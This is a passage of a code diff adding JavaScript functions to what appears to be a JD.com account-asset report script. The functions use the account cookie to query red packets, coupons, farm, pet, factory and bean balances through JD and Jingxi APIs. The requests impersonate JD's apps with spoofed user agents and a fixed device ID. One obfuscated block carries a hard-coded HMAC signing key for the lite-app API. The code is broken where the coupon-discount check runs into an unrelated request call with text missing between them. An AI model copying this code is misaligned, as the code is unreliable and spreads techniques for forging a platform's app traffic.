$.jdRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdRedExpire += parseFloat(vo.balance) + } + } + } + $.jxRed = $.jxRed.toFixed(2); + $.jsRed = $.jsRed.toFixed(2); + $.jdRed = $.jdRed.toFixed(2); + $.jdhRed = $.jdhRed.toFixed(2); + $.balance = data.balance; + $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2); + $.message += `【红包总额】${$.balance}(总过期${$.expiredBalance})元 \n`; + if ($.jxRed > 0) + $.message += `【京喜红包】${$.jxRed}(将过期${$.jxRedExpire.toFixed(2)})元 \n`; + if ($.jsRed > 0) + $.message += `【极速红包】${$.jsRed}(将过期${$.jsRedExpire.toFixed(2)})元 \n`; + if ($.jdRed > 0) + $.message += `【京东红包】${$.jdRed}(将过期${$.jdRedExpire.toFixed(2)})元 \n`; + if ($.jdhRed > 0) + $.message += `【健康红包】${$.jdhRed}(将过期${$.jdhRedExpire.toFixed(2)})元 \n`; + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function getCoupon() { + return new Promise(resolve => { + let options = { + url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=1&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + }, + timeout: 10000 + } + $.get(options, async(err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let couponTitle = ''; + let couponId = ''; + // 删除可使用且非超市、生鲜、京贴; + let useable = data.coupon.useable; + $.todayEndTime = new Date(new Date(new Date().getTime()).setHours(23, 59, 59, 999)).getTime(); + $.tomorrowEndTime = new Date(new Date(new Date().getTime() + 24 * 60 * 60 * 1000).setHours(23, 59, 59, 999)).getTime(); + $.platFormInfo=""; + for (let i = 0; i < useable.length; i++) { + //console.log(useable[i]); + if (useable[i].limitStr.indexOf('全品类') > -1) { + $.beginTime = useable[i].beginTime; + if ($.beginTime < new Date().getTime() && useable[i].quota < 20 && useable[i].coupontype === 1) { + //$.couponEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.couponName = useable[i].limitStr; + if (useable[i].platFormInfo) + $.platFormInfo = useable[i].platFormInfo; + + var decquota=parseFloat(useable[i].quota).toFixed(2); + var decdisc= parseFloat(useable[i].discount).toFixed(2); + + $.message += `【全品类券】满${decquota}减${decdisc}元`; + + if (useable[i].endTime < $.todayEndTime) { + $.message += `(今日过期,${$.platFormInfo})\n`; + } else if (useable[i].endTime < $.tomorrowEndTime) { + $.message += `(明日将过期,${$.platFormInfo})\n`; + } else { + $.message += `(${$.platFormInfo})\n`; + } + + } + } + if (useable[i].couponTitle.indexOf('运费券') > -1 && useable[i].limitStr.indexOf('自营商品运费') > -1) { + if (!$.YunFeiTitle) { + $.YunFeiTitle = useable[i].couponTitle; + $.YunFeiQuanEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan += 1; + } else { + if ($.YunFeiTitle == useable[i].couponTitle) { + $.YunFeiQuanEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan += 1; + } else { + if (!$.YunFeiTitle2) + $.YunFeiTitle2 = useable[i].couponTitle; + + if ($.YunFeiTitle2 == useable[i].couponTitle) { + $.YunFeiQuanEndTime2 = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan2 += 1; + } + } + + } + + } + if (useable[i].couponTitle.indexOf('极速版APP活动') > -1 && useable[i].limitStr=='仅可购买活动商品') { + $.beginTime = useable[i].beginTime; + if ($.beginTime < new Date().getTime() && useable[i].coupontype === 1) { + if (useable[i].platFormInfo) + $.platFormInfo = useable[i].platFormInfo; + var decquota=parseFloat(useable[i].quota).toFixed(2); + var decdisc= parseFloat(useable[i].discount).toFixed(2); + + $.message += `【极速版券】满${decquota}减${decdisc}元`; + + if (useable[i].endTime < $.todayEndTime) { + $.message += `(今日过期,${$.platFormInfo})\n`; + } else if (useable[i].endTime < $.tomorrowEndTime) { + $.message += `(明日将过期,${$.platFormInfo})\n`; + } else { + $.message += `(${$.platFormInfo})\n`; + } + + } + + } + //8是支付券, 7是白条券 + if (useable[i].couponStyle == 7 || useable[i].couponStyle == 8) { + $.beginTime = useable[i].beginTime; + if ($.beginTime > new Date().getTime() || useable[i].quota > 50 || useable[i].coupontype != 1) { + continue; + } + + if (useable[i].couponStyle == 8) { + $.couponType = "支付立减"; + }else{ + $.couponType = "白条优惠"; + } + if(useable[i].discount { + $.get(taskJDZZUrl("interactTaskIndex"), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京东赚赚API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JdzzNum = data.data.totalNum; + } + } + } catch (e) { + //$.logErr(e, resp) + console.log(`京东赚赚数据获取失败`); + } + finally { + resolve(data); + } + }) + }) +} + +function taskJDZZUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} + +function getMs() { + if (!EnableJdMs) + return; + return new Promise(resolve => { + $.post(taskMsPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`getMs API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + //console.log("Debug :" + JSON.stringify(data)); + data = JSON.parse(data); + if (data.result.assignment.assignmentPoints) { + $.JdMsScore = data.result.assignment.assignmentPoints || 0 + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function taskMsPostUrl(function_id, body = {}, extra = '', function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000 + } +} + +function jdfruitRequest(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskfruitUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JDwaterEveryDayT = data.totalWaterTaskInit.totalWaterTaskTimes; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }) + }, timeout) + }) +} + +async function getjdfruitinfo() { + if (EnableJdFruit) { + llgeterror = false; + + await jdfruitRequest('taskInitForFarm', { + "version": 14, + "channel": 1, + "babelChannel": "120" + }); + + await getjdfruit(); + if (llgeterror) { + console.log(`东东农场API查询失败,等待10秒后再次尝试...`) + await $.wait(10 * 1000); + await getjdfruit(); + } + if (llgeterror) { + console.log(`东东农场API查询失败,有空重启路由器换个IP吧.`) + } + + } + return; +} + +async function GetJxBeaninfo() { + await GetJxBean(), + await jxbean(); + return; +} + +async function getjdfruit() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({"version":4}))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000 + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + if(!llgeterror){ + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + } + llgeterror = true; + } else { + llgeterror = false; + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + if ($.farmInfo.farmUserPro) { + $.JdFarmProdName = $.farmInfo.farmUserPro.name; + $.JdtreeEnergy = $.farmInfo.farmUserPro.treeEnergy; + $.JdtreeTotalEnergy = $.farmInfo.farmUserPro.treeTotalEnergy; + $.treeState = $.farmInfo.treeState; + let waterEveryDayT = $.JDwaterEveryDayT; + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10; //一共还需浇多少次水 + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + $.JdwaterTotalT = waterTotalT; + $.JdwaterD = waterD; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +async function PetRequest(function_id, body = {}) { + await $.wait(3000); + return new Promise((resolve, reject) => { + $.post(taskPetUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + llPetError=true; + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data) + } + }) + }) +} +function taskPetUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout: 10000 + }; +} + +function taskfruitUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function cash() { + if (!EnableJdSpeed) + return; + return new Promise(resolve => { + $.get(taskcashUrl('MyAssetsService.execute', { + "method": "userCashRecord", + "data": { + "channel": 1, + "pageNum": 1, + "pageSize": 20 + } + }), + async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`cash API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.goldBalance) + $.JDtotalcash = data.data.goldBalance; + else + console.log(`领现金查询失败,服务器没有返回具体值.`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +var __Oxb24bc = ["lite-android&", "stringify", "&android&3.1.0&", "&", "&846c4c32dae910ef", "12aea658f76e453faf803d15c40a72e0", "isNode", "crypto-js", "", "api?functionId=", "&body=", "&appid=lite-android&client=android&uuid=846c4c32dae910ef&clientVersion=3.1.0&t=", "&sign=", "api.m.jd.com", "*/*", "RN", "JDMobileLite/3.1.0 (iPad; iOS 14.4; Scale/2.00)", "zh-Hans-CN;q=1, ja-CN;q=0.9", "undefined", "log", "", "", "", "", "jsjia", "mi.com"]; + +function taskcashUrl(_0x7683x2, _0x7683x3 = {}) { + let _0x7683x4 = +new Date(); + let _0x7683x5 = `${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`; + let _0x7683x6 = __Oxb24bc[0x5]; + const _0x7683x7 = $[__Oxb24bc[0x6]]() ? require(__Oxb24bc[0x7]) : CryptoJS; + let _0x7683x8 = _0x7683x7.HmacSHA256(_0x7683x5, _0x7683x6).toString(); + return { + url: `${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`, + headers: { + 'Host': __Oxb24bc[0xd], + 'accept': __Oxb24bc[0xe], + 'kernelplatform': __Oxb24bc[0xf], + 'user-agent': __Oxb24bc[0x10], + 'accept-language': __Oxb24bc[0x11], + 'Cookie': cookie + }, + timeout: 10000 + } +} +(function (_0x7683x9, _0x7683xa, _0x7683xb, _0x7683xc, _0x7683xd, _0x7683xe) { + _0x7683xe = __Oxb24bc[0x12]; + _0x7683xc = function (_0x7683xf) { + if (typeof alert !== _0x7683xe) { + alert(_0x7683xf) + }; + if (typeof console !== _0x7683xe) { + console[__Oxb24bc[0x13]](_0x7683xf) + } + }; + _0x7683xb = function (_0x7683x7, _0x7683x9) { + return _0x7683x7 + _0x7683x9 + }; + _0x7683xd = _0x7683xb(__Oxb24bc[0x14], _0x7683xb(_0x7683xb(__Oxb24bc[0x15], __Oxb24bc[0x16]), __Oxb24bc[0x17])); + try { + _0x7683x9 = __encode; + if (!(typeof _0x7683x9 !== _0x7683xe && _0x7683x9 === _0x7683xb(__Oxb24bc[0x18], __Oxb24bc[0x19]))) { + _0x7683xc(_0x7683xd) + } + } catch (e) { + _0x7683xc(_0x7683xd) + } +})({}) + +async function JxmcGetRequest() { + let url = ``; + let myRequest = ``; + url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&activeid=null&activekey=null&isgift=1&isquerypicksite=1&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetHomePageInfo`, url); + + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`JxmcGetRequest API请求失败,请检查网路重试`) + $.runFlag = false; + console.log(`请求失败`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.JDEggcnt = data.data.eggcnt; + } + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜工厂信息查询 +async function getJxFactory() { + if (!EnableJxGC) + return; + return new Promise(async resolve => { + let infoMsg = ""; + let strTemp = ""; + await $.get(jxTaskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async(err, resp, data) => { + try { + if (err) { + $.jxFactoryInfo = ""; + //console.log("jx工厂查询失败" + err) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + //const productionStage = data.productionStage; + $.commodityDimId = production.commodityDimId; + // subTitle = data.user.pin; + await GetCommodityDetails(); //获取已选购的商品信息 + infoMsg = `${$.jxProductName}(${((production.investedElectric / production.needElectric) * 100).toFixed(0)}%`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) { + infoMsg = `${$.jxProductName}已可兑换`; + $.jxFactoryReceive = `${$.jxProductName}`; + } + if (production['exchangeStatus'] === 3) { + if (new Date().getHours() === 9) { + infoMsg = `兑换超时,请重选商品!`; + } + } + // await exchangeProNotify() + } else { + strTemp = `,${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(0)}天)`; + if (strTemp == ",0天)") + infoMsg += ",今天)"; + else + infoMsg += strTemp; + } + if (production.status === 3) { + infoMsg = "商品已失效,请重选商品!"; + } + } else { + $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + infoMsg = "" + // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); + } else if (data.factoryList && !data.productionList) { + infoMsg = "" + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + $.jxFactoryInfo = infoMsg; + // console.log(infoMsg); + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜的Taskurl +function jxTaskurl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} + +//惊喜查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(jxTaskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`GetCommodityDetails API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.jxProductName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 东东工厂信息查询 +async function getDdFactoryInfo() { + if (!EnableJDGC) + return; + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + let infoMsg = ""; + return new Promise(resolve => { + $.post(ddFactoryTaskUrl('jdfactory_getHomeData'), async(err, resp, data) => { + try { + if (err) { + $.ddFactoryInfo = "获取失败!" + /*console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`)*/ + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + // $.newUser = data.data.result.newUser; + //let wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { + totalScore, + useScore, + produceScore, + remainScore, + couponCount, + name + } = data.data.result.factoryInfo; + if (couponCount == 0) { + infoMsg = `${name} 没货了,死了这条心吧!` + } else { + infoMsg = `${name}(${((remainScore * 1 + useScore * 1) / (totalScore * 1)* 100).toFixed(0)}%,剩${couponCount})` + } + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + // await jdfactory_addEnergy(); + infoMsg = `${name} 可以兑换了!` + $.DdFactoryReceive = `${name}`; + + } + + } else { + infoMsg = `` + } + } else { + $.ddFactoryInfo = "" + } + } + } + $.ddFactoryInfo = infoMsg; + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function ddFactoryTaskUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } +} + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + if (!EnableJoyPark) + return; + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`汪汪乐园 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success) { + $.joylevel = data.data.level; + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function taskPostClientActionUrl(body) { + return { + url: `https://api.m.jd.com/client.action?functionId=joyBaseInfo`, + body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + }, + timeout: 10000 + } +} + +function taskJxUrl(functionId, body = '') { + let url = ``; + var UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + + if (body) { + url = `https://m.jingxi.com/activeapi/${functionId}?${body}`; + url += `&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `https://m.jingxi.com/activeapi/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} + + +function GetJxBeanDetailData() { + return new Promise((resolve) => { + $.get(taskJxUrl("queryuserjingdoudetail","pagesize=10&type=16"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`GetJxBeanDetailData请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +function GetJxBean() { + if (!EnableJxBeans) + return; + return new Promise((resolve) => { + $.get(taskJxUrl("querybeanamount"), async(err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`GetJxBean请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data) { + if (data.errcode == 0) { + $.xibeanCount = data.data.xibean; + if (!$.beanCount) { + $.beanCount = data.data.jingbean; + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); +} +async function jxbean() { + if (!EnableJxBeans) + return; + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + var JxYesterdayArr = [], + JxTodayArr = []; + var JxResponse = await GetJxBeanDetailData(); + if (JxResponse && JxResponse.ret == "0") { + var Jxdetail = JxResponse.detail; + if (Jxdetail && Jxdetail.length > 0) { + for (let item of Jxdetail) { + const date = item.createdate.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['visibleinfo'].includes("退还") && !item['visibleinfo'].includes('扣赠'))) { + JxTodayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['visibleinfo'].includes("退还") && !item['visibleinfo'].includes('扣赠'))) { + //昨日的 + JxYesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + } + + for (let item of JxYesterdayArr) { + if (Number(item.amount) > 0) { + $.inJxBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.OutJxBean += Number(item.amount); + } + } + for (let item of JxTodayArr) { + if (Number(item.amount) > 0) { + $.todayinJxBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutJxBean += Number(item.amount); + } + } + $.todayOutJxBean = -$.todayOutJxBean; + $.OutJxBean = -$.OutJxBean; + } + +} + +function GetJoyRuninginfo() { + if (!EnableJoyRun) + return; + + const headers = { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, 